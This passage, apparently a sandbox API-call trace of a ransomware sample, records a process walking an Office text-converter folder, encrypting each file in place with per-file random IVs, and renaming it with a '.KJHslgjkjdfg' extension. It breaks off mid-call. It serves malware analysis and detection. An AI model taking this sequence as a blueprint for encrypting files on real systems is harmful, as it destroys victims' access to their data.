hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0170.866] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0170.866] GetProcessHeap () returned 0x990000 [0170.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b2468 [0170.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0170.867] GetProcessHeap () returned 0x990000 [0170.867] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0170.867] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.867] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0170.867] GetProcessHeap () returned 0x990000 [0170.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9f9760 [0170.867] GetProcessHeap () returned 0x990000 [0170.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b2468 [0170.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0170.868] GetProcessHeap () returned 0x990000 [0170.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0170.868] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.868] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0170.868] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0170.868] GetProcessHeap () returned 0x990000 [0170.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0170.868] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0170.868] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0170.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.869] GetProcessHeap () returned 0x990000 [0170.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.869] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0170.869] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.871] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.871] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.871] GetProcessHeap () returned 0x990000 [0170.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0170.872] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.872] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0170.872] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0170.872] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0170.872] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0170.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0170.872] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.873] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8f68, lpOverlapped=0x0) returned 1 [0170.979] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f70) returned 1 [0170.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.980] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8f70, lpOverlapped=0x0) returned 1 [0170.980] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.980] SetEndOfFile (hFile=0xf0) returned 1 [0170.983] GetProcessHeap () returned 0x990000 [0170.983] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0170.983] GetProcessHeap () returned 0x990000 [0170.983] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.kjhslgjkjdfg")) returned 1 [0170.989] CloseHandle (hObject=0xf0) returned 1 [0170.989] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0170.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.991] GetProcessHeap () returned 0x990000 [0170.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.991] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0170.991] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.991] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.991] GetProcessHeap () returned 0x990000 [0170.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.992] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0170.992] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.992] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0170.994] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0170.994] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0171.055] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0171.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0171.057] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0171.057] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0171.057] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.058] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdfa0, lpOverlapped=0x0) returned 1 [0171.059] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdfa0, dwBufLen=0xdfa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdfa0) returned 1 [0171.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.060] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdfa0, lpOverlapped=0x0) returned 1 [0171.061] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.061] SetEndOfFile (hFile=0xf0) returned 1 [0171.064] GetProcessHeap () returned 0x990000 [0171.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.064] GetProcessHeap () returned 0x990000 [0171.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.kjhslgjkjdfg")) returned 1 [0171.065] CloseHandle (hObject=0xf0) returned 1 [0171.065] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0171.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.067] GetProcessHeap () returned 0x990000 [0171.067] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.067] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0171.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0171.067] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.067] GetProcessHeap () returned 0x990000 [0171.067] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.067] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0171.067] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.067] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0171.070] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0171.070] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0171.070] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0171.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0171.070] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0171.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0171.071] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.071] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30170, lpOverlapped=0x0) returned 1 [0171.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30170, dwBufLen=0x30170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30170) returned 1 [0171.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.077] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30170, lpOverlapped=0x0) returned 1 [0171.078] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.078] SetEndOfFile (hFile=0xf0) returned 1 [0171.081] GetProcessHeap () returned 0x990000 [0171.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.081] GetProcessHeap () returned 0x990000 [0171.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.kjhslgjkjdfg")) returned 1 [0171.088] CloseHandle (hObject=0xf0) returned 1 [0171.088] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0171.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.090] GetProcessHeap () returned 0x990000 [0171.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.090] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0171.090] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0171.090] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.090] GetProcessHeap () returned 0x990000 [0171.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.091] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0171.091] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.091] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0171.092] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0171.092] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 